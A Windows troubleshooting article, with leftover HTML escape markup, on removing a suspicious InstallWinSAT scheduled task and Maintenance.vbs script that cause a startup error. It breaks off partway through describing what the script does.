Whenever you start your computer, the following error may popup:<\/p>\n

Windows Script Host
\nScript: C:\\WINDOWS\\system32\\Maintenance.vbs
\nLine: 10
\nChar: 2
\nError: Type mismatch ‘CInt’
\nCode: 800A000D
\nSource: Microsoft VBScript runtime error<\/div>\n

However, you may find no reference to this file in MSConfig<\/a> or the Task Manager Startup tab<\/a>. You may be wondering how to prevent this error message dialog from appearing at startup.<\/p>\n

[Fix] Script Error Maintenance.vbs at Startup<\/h2>\n

The maintenance.vbs<\/code> script might be launched by an unknown scheduled task namely InstallWinSAT<\/code> located under the Microsoft\\Windows\\Maintenance<\/code> branch in Task Scheduler. There is no clue whether the task and the corresponding VBScript file maintenance.vbs<\/code> are added by Windows, or if they’re dropped by some malware.<\/p>\n

However, you can stop this error by disabling the suspicious InstallWinSAT<\/code> scheduled task using Task Scheduler.<\/p>\n

    \n
  1. Open Task Scheduler (taskschd.msc<\/code>) via the Start menu.<\/li>\n
  2. Expand Task Scheduler Library → Microsoft → Windows → Maintenance<\/li>\n
  3. Right-click InstallWinSAT<\/code> task, and choose Disable
    \n\"installwinsat
    \n(Don’t disable the WinSAT<\/code> task, as it’s a factory-default task added by Windows 10.)<\/em><\/li>\n
  4. Open the C:\\Windows\\System32<\/code> folder and delete Maintenance.vbs<\/code><\/li>\n
  5. Run a full system scan using your anti-virus software.<\/li>\n
  6. Additionally<\/strong>, download Malwarebytes anti-malware<\/a> and run a thorough scan. This is important!<\/strong><\/li>\n<\/ol>\n

    \"\"Note that the InstallWinSAT<\/strong> task is not seen in a clean Windows 10 setup. Also, the ServiceInstaller.msi and the maintenance.vbs files are not part of the Windows 10 ISO<\/a> or DVD. It’s highly likely that the task and the related VBScript file were added by an undesirable program. If I find any further information about this task, I shall update this article.<\/em><\/p>\n

    The InstallWinSAT Scheduled Task details are below:<\/p>\n

    The above script basically does this:<\/p>\n
      \n
    1. Reads a file named updatesettings.dbf<\/code> in the Windows\\System32 directory.<\/li>\n
    2. Converts the text\/number stored in updatesettings.dbf<\/code> to an integer.<\/li>\n
    3. If the integer value is greater than 9<\/code>, then the script does the following actions:\n
